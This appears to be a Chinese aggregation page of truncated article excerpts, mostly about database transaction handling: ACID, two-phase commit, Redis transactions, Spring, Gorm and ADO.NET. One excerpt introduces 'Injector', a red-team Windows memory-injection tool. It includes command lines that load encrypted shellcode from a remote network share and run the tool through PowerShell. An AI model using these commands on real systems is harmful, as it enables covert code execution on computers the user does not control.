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事务处理的数据存储

在上篇文章我们讨论了数据模型，今天试着讨论更基础的数据存储和搜索。数据存储根据开发者使用，可以分为一般的事务处理和数据分析，因为这两者面临的情况不一样。...事务处理聚焦于快速的存储和搜索少量的数据，但是数据分析需要读取大量的数据去进行聚合，而不怎么考虑读取花费的时间。后者一般称为数据仓库。首先我们先看看传统数据库和大部分NoSQL的数据存储引擎。...让我们想象一下，假设你有一个excel，里面存储了一条数据a,b，如果我们想查询a，我们可以遍历excel找到满足以a开头的数据a,b。这就是一个简单的数据库，存储数据时，只要简单的添加在下一列。...查找时进行遍历，找到符合条件的。让我们想想这会有什么问题。对于数据存储，我们只需要简单的添加数据，对于磁盘这样极有效率，当然实际上的数据库还要考虑并行处理、磁盘存储空间不足等等情况。...这听起来很简单，然而这就是Bitcask的实现方式。这个索引结构是完全存储在内存当中，如果超出内存的话，就会放在磁盘上。

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并发下的事务处理

是软件行业必需要做的事情。非常多金融公司，就是因为事务处理不得当而倒闭。我们都知道，事务有四大特性：ACID。即：原子性、一致性、隔离性、持久性。...那么，在第一个事务中的两次读数据之间，因为第二个事务的改动，那么第一个事务两次读到的的数据可能是不一样的。这样就发生了在一个事务内两次读到的数据是不一样的，因此称为是不可反复读。比如。...2.提交阶段：假设协调者收到了參与者的失败消息或者超时，直接给每一个參与者发送回滚(Rollback)消息；否则，发送提交(Commit)消息；參与者依据协调者的指令运行提交或者回滚操作，释放全部事务处理过程中使用的锁资源...让事务在提交前尽可能地完毕全部能完毕的工作，这样，最后的提交阶段将是一个耗时极短的微小操作，这样的操作在一个分布式系统中失败的概率是很小的，也就是所谓的“网络通讯危急期”很的短暂。...关于事务补偿机制是一个大话题，本文仅仅简单提及，以后会作专门的研究和介绍。

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研究人员如何使用Injector实现Windows下的内存注入

关于Injector Injector是一款功能齐全且强大的内存注入工具，该工具集成了多种技术，可以帮助红队研究人员实现在Windows系统下的内存注入。 Injector能做什么？...使用-bypass参数，以支持使用更高级的、未记录的API来进行进程注入。支持加密的Shellcode，比如说AES加密或异或加密等。...如果你不想使用加密的Shellcode，你也可以直接使用下列命令运行下列命令： Injector.exe -m=1 -shellcode -location="\\192.x.x.x\share\shellcode.txt..." 将其中的“-m=1”修改为“2,3,4,6”之后，就可以运行其他模式了： Injector.exe -m=5 -TempFile=C:\\Users\\user\\sample.txt 上述命令将提供要给会话...PowerShell 你还可以使用Invoke-Exe.ps1来通过PowerShel执行Injector： Invoke-Exe -loc C:\Users\john\injector.exe

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基于Spring JDBC的事务处理

基于Spring JDBC的事务处理事务（Transaction）：在数据库中，可以保持一系列的数据操作要么全部执行成功，要么全部执行失败的机制！...在以上这种“转账”的任务中，如果2条SQL语句都执行成功，就是预期的效果，但是，即使是2条SQL语句都执行失败了，数据安全也不会受到影响，也属于是可以接受的。...在基于Spring JDBC的编程中，只需要为业务方法加上@Transactional注解，就可以使得该业务方法中的多条数据操作是有事务的保障的，这多条数据操作要么全部成功，要么全部失败，不会出现成功一半且失败一半的问题...@Transactional注解，以使得该业务的执行过程中是有事务的保障的；在调用持久层的增删改操作时，必须及时获取返回的受影响行数，并判断受影响行数是否是预期值，如果不是，必须抛出RuntimeException...课后，可自行了解：事务的ACID特性，事务的传播，事务的隔离。

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Redis的事务处理机制

2、Redis 是单线程程序，在事务执行时不会中断事务，其他客户端提交的各种操作都无法执行，因此你可以理解为 Redis 的事务处理是串行化的方式，总是具有隔离性的。...RDB（Redis DataBase）持久化可以把当前进程的数据生成快照保存到磁盘上，触发 RDB 持久化的方式分为手动触发和自动触发。...因为持久化操作与命令操作不是同步进行的，所以无法保证事务的持久性。...的访问性能。...虽然 Redis 提供了两种持久化的机制，但是作为内存数据库，持久性并不是它的擅长。

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Springboot使用PlatformTransactionManager接口的事务处理

，但是要写好注释，不然一些人后期找代码逻辑很容易看懵逼的。...在业务层的方法上启用事务控制，可以加到方法上，也可以加到该业务类上，根据自己的需求来进行。...，全部使用注解控制必然会造成代码的大量重复。...在实际工作中，SpringBoot与事务结合最好的控制方法就是定义一个事务的配置类。...（事务、日志）的类。

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ASM 那点事 —— 让 BungeeCord 允许 authlib-injector 中非 ASCII 的玩家 ID 连接

起因前些天在某个群跟群友聊天时，偶然听说了当一个符合 authlib-injector 规范的以非 ASCII 玩家 ID 的玩家连接 BungeeCord 时，BungeeCord 会以玩家 ID...这个问题令我很感兴趣，思考了一番以后，决定为 authlib-injector 贡献一个功能来解决这个问题。...BungeeCord 中使用 ASM 替换字节码 authlib-injector 项目本身作为一个 “hacker”，自然也是通过 ASM 替换关键代码，因此，我们可以使用 authlib-injector...项目内置的 ASM 来达到我们的效果。...结果好巧不巧，正当我调试完毕，让这些功能正常运行了的时候，authlib-injector 的原作者 yushijinhun 也正好发布了相同的修正（因为他也在群里看到了这些讨论，于是就迅速修复了），然后我看了一下他的写法

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分布式系统的事务处理

但是，加入更多的机器，会让我们的数据服务变得很复杂，尤其是跨服务器的事务处理，也就是跨服务器的数据一致性。这个是一个很难的问题。...那么，我们在加入了更多的机器后，这个事情会变得复杂起来： 1）在数据分区的方案中：如果A帐号和B帐号的数据不在同一台服务器上怎么办？我们需要一个跨机器的事务处理。...于是，我们需要重点考虑下面的这么几个情况： 1）容灾：数据不丢、结点的Failover 2）数据的一致性：事务处理 3）性能：吞吐量、响应时间前面说过，要解决数据不丢，只能通过数据冗余的方法，就算是数据分区...一致性模型说起数据一致性来说，简单说有三种类型（当然，如果细分的话，还有很多一致性模型，如：顺序一致性，FIFO一致性，会话一致性，单读一致性，单写一致性，但为了本文的简单易读，我只说下面三种）： 1...）这是多么经典的一个两阶段提交的事务处理。

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ASP.NET里的事务处理

如果在事务过程中没有遇到错误，事务中的所有修改都将永久成为数据库的一部分。如果遇到错误，则不会对数据库作出任何修改。...例如，在一个银行应用程序中，如果资金从一个帐户转到另一个帐户，则会将一定的金额记入一个帐户的贷方，同时将相同的金额记入另一个帐户的借方。...若要执行事务，请执行下列操作：调用 Connection 对象的 BeginTransaction 方法来标记事务的开始。BeginTransaction 返回对 Transaction 的引用。...请保留此引用，以便将其分配给在事务中登记的 Command。将 Transaction 对象分配给要执行的 Command 的 Transaction 属性。...上的 ADO.NET 来演示事务逻辑。

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云开发数据库的事务处理

在云开发数据库文档中其实有一些事务处理的指引和demo，不过基本都是await风格的，只能在异步函数里面使用，有的时候希望用『同步函数+callback』的方式代替await来实现更好的并发执行能力，那就需要用...id来制造随机的id冲突以随机初发事务的失败。...其实如果能用Promise.all的化代码还能更好看些 /* 以下代码会触发云开发数据库sdk的bug */ db.startTransaction().then(transaction...Promise.all里的数据库操作一多起来，就有一定的概率触发这样的错误： TcbError: [ResourceUnavailable.TransactionBusy] Transaction is...暂时只能用上面的一步一步then的方式来执行了，或者用网上流行的Array.reduce的方式来让Promise排队执行。

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聊聊微服务架构中的事务处理

事务处理是其中的首要核心问题。在一个 Web 应用程序中使用本地事务完成的典型数据库事务，现在是一个复杂的分布式事务问题。...简单的说，如果你基于一个先前观察到的单独操作执行了一个操作，那么对于其它进程，这些操作的顺序也应该相同。...最简单的解决方案是回归单体化方案，将所有的操作放到单个服务和单个数据库中，所有的操作在一个本地事务中执行。...否则，开发者将写更多代码来实现事务处理，而不是核心业务逻辑。另外，如果一个典型的开发人员总是从头实现这种模式，会更容易出错。...6总结在本文中，我们研究了事务处理的基础知识，从 ACID 保证到使用 BASE 放松数据一致性保证，以及 CAP 定理如何在一个分布式系统中定义数据存储的权衡。

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PostgreSQL 逻辑复制大事务处理的演进

1前言接上篇《进击的逻辑复制》未完话题——大事务。众所周知，逻辑复制处理大事务一直比较头疼，不仅会导致性能下降，还会导致延迟。从 13 版本以来，每个大版本在对大事务的处理方面都有显著的提升。...如果有一个非常冗长的大事务，其余的更改会作为溢出文件溢出到磁盘，也就是我们看到的那一些 spill 文件。...由于每个复制连接只使用一个这样大小的缓冲区，并且一个实例通常不会同时有多个这样的连接(受 max_wal_senders 的限制) ，因此将这个值设置为比 work_mem 大得多的值是安全的，从而减少了写入磁盘的解码更改的数量...针对每一个连接的限制，并且只有消耗最多内存的最大事务才会成为溢出到磁盘的受害者。...3小结可以看到，社区一直在不断优化着逻辑复制的功能，相信在今年发布的 16 中，逻辑复制的能力会有一个质的飞跃。

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Redis的事务处理和乐观锁机制

事务处理Redis的事务处理允许将多个命令组合成一个原子操作，要么全部执行成功，要么全部失败。...Redis事务处理的基本流程如下：使用MULTI命令标记事务的开始。依次执行多个命令，将它们添加到事务队列中。使用EXEC命令执行事务，Redis会按照事务队列中命令的顺序依次执行。...下面是一个示例，展示了Redis事务处理的用法：MULTISET key1 value1SET key2 value2GET key1GET key2EXEC在上述示例中，MULTI命令标记事务的开始，...最后，EXEC命令执行事务，返回事务中所有GET命令的执行结果。乐观锁机制Redis的乐观锁机制是通过WATCH命令实现的。...如果被监视的键没有被修改过，事务会成功执行；如果被监视的键在事务期间被修改过，事务会被回滚。

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MySQL中不得不提的事务处理

我用我自己的理解来描述一下吧.事务其实就是MySQL中处理数据的一种方式,主要用在数据完整性高,数据之间依赖性大的情况下的一种数据处理方式.举个例子,小张向小李的银行卡打200块钱,在小张点击了确认转账的按钮时...,系统突然崩溃了.会出现这样几中不正确的情况: 1.小张的钱打到小李的账户上,但是自己的账户上的钱没被扣. 2.小张的钱打没到小李的账户上了,但是自己账户上的钱被扣....这样的业务场景就需要MySQL事务保持,即使机器出故障的情况下,数据仍然是正确的. > 事务使用的条件 MySQL要使用事务,需要MySQL中的存储引擎支持.现目前MySQL内置的存储引擎支持事务的有InnoDB...,就不得不说说隔离性的几种级别.至于为什么会涉及到这一点,可以这样简单的理解:如果同一时刻,有两个请求在执行事务的操作,并且这两个事务是对同一条数据做操作,那么到底最终的结果是以谁的为准呢?...不同的隔离级别导致的结果不一样,因此事务的隔离级别也是一个非常重要的点.

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.NET开发中的事务处理大比拼

Error:" + ex.Message); } } } conn.Close(); } ADO.NET 显式事务占用资源少、速度快，但功能简单...如果我们在连接字符串里面加上Enlist=false;，再执行上面的代码，发现插入了一条1的记录，说明并不是以事务方式执行的。...意思是说当TransactionOption的属性为Required或 RequiresNew的WEB服务方法调用另一个TransactionOption的属性为Required或RequiresNew...的WEB服务方法时，每个WEB服务方法将参与他们自己的事务，因为Web Service方法只能用作事务中的根对象。...true"; } catch { ContextUtil.SetAbort();//回滚事务 return "false"; } } 自动事务处理

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使用redis 中的事务处理实现商品秒杀

redis中的事务处理： redis中的事物事物处理是指能够批量的执行一组命令(当事务开始执行时，事务中的命令能够按照按照规定好的顺序执行而不会被插队或打断)；与mysql事务的区别在于：mysql中事务开启后...，当某一条语句执行出现错误时该事务会回退到开始时的状态，而redis中的事务却不会这么做！...redis事务中的常用命令： Multi 命令用于标记一个事务块的开始。事务块内的多条命令会按照先后顺序被放进一个队列当中，最后由 EXEC 命令原子性(atomic)地执行。...Exec 命令用于执行所有事务块内的命令。...Discard 命令用于取消事务，放弃执行事务块内的所有命令。 php中使用 redis处理秒杀： <?

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Gorm-事务处理的方法和流程（三）

事务处理示例下面是一个使用Gorm进行事务处理的示例代码，该代码演示了如何使用显式事务和隐式事务处理方法。...= nil { panic(err) } fmt.Println("隐式事务处理成功！")}在该示例代码中，我们演示了两种事务处理方法：显式事务处理和隐式事务处理。...在该示例代码中，我们将名为Tom和Jerry的用户的年龄分别更新为18和20，然后提交事务。如果事务处理成功，则打印“显式事务处理成功！”的信息。...隐式事务处理使用Transaction方法执行一个函数，并在该函数内部进行事务处理。在该函数内部，我们将名为Tom和Jerry的用户的年龄分别更新为22和24。如果函数执行成功，则隐式提交事务。...在该示例代码中，我们使用Transaction方法执行了一个匿名函数，并在该函数内部进行了事务处理。如果事务处理成功，则打印“隐式事务处理成功！”的信息。

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Gorm-事务处理的方法和流程（一）

Gorm是一款基于Go语言的ORM库，提供了方便的事务处理功能，可以帮助开发者在数据库操作中实现事务的ACID特性。什么是事务？事务是指一组数据库操作，这些操作要么全部成功执行，要么全部失败回滚。...事务具有ACID的特性，即原子性（Atomicity）、一致性（Consistency）、隔离性（Isolation）和持久性（Durability）。在Gorm中，事务处理是通过数据库连接进行的。...Gorm的事务处理方法Gorm提供了两种事务处理方法，分别是基于Begin方法的显式事务和基于Transaction方法的隐式事务。显式事务在Gorm中，我们可以使用Begin方法来开始一个显式事务。...需要注意的是，在显式事务中，我们需要使用defer语句来保证无论事务是否成功，都会及时回滚或提交事务。隐式事务Gorm还提供了一个更为简便的隐式事务处理方法，即使用Transaction方法。...需要注意的是，在隐式事务中，我们需要将事务处理的代码封装在一个函数中，并将该函数作为参数传递给Transaction方法。

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Gorm-事务处理的方法和流程（二）

事务处理的流程无论是显式事务还是隐式事务，事务处理的流程基本相同。下面是Gorm事务处理的详细流程：获取数据库连接在开始事务处理之前，我们需要先获取一个数据库连接。...可以使用gorm.Open方法打开数据库连接，并将该连接保存到全局变量中，以便在后续的事务处理中复用。...该方法将返回一个*gorm.DB对象，该对象具有事务处理的能力。tx := db.Begin() // 开始事务defer func() { if r := recover(); r !...执行事务操作在事务处理过程中，我们可以使用*gorm.DB对象执行数据库操作，如插入、更新、删除、查询等。在事务处理过程中，所有的数据库操作都将在同一个事务中执行。...= nil { tx.Rollback() // 发生错误时回滚事务 // 处理错误}在上面的示例代码中，我们使用tx.Model方法更新User表中名为Tom的用户的年龄为18。

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微服务中数据CQRS操作的事务处理

本文的主要主题是描述如何使用事件源（event sourcing）和CQRS将事件驱动的体系结构与微服务集成。微服务是独立的，模块化的服务有自己的分层架构。...当微服务共享相同的数据库时，服务之间的数据模型可以遵循与微服务关联的表之间的关系。例如，有两个微服务在它们自己的容器中运行:“Order”和“Customer”。...涉及插入和查询数据的模型是相同的，可能会导致与事件存储进行映射的模型的复杂性。在存储所有记录的历史时，事件存储容量必须更大。...CQRS是微服务体系结构中使用的另一种设计模式，它将为数据库中的插入操作提供单独的服务、模型和数据库。它充当命令层，并为充当查询层的查询数据提供单独的服务、模型和数据库。...读模型或DTO不需要将所有字段作为命令模型，而读模型可以具有客户机视图所需的字段，从而节省读存储的容量。这种方法的局限性是: 基础设施的额外维护，比如为命令和查询请求建立单独的数据库。

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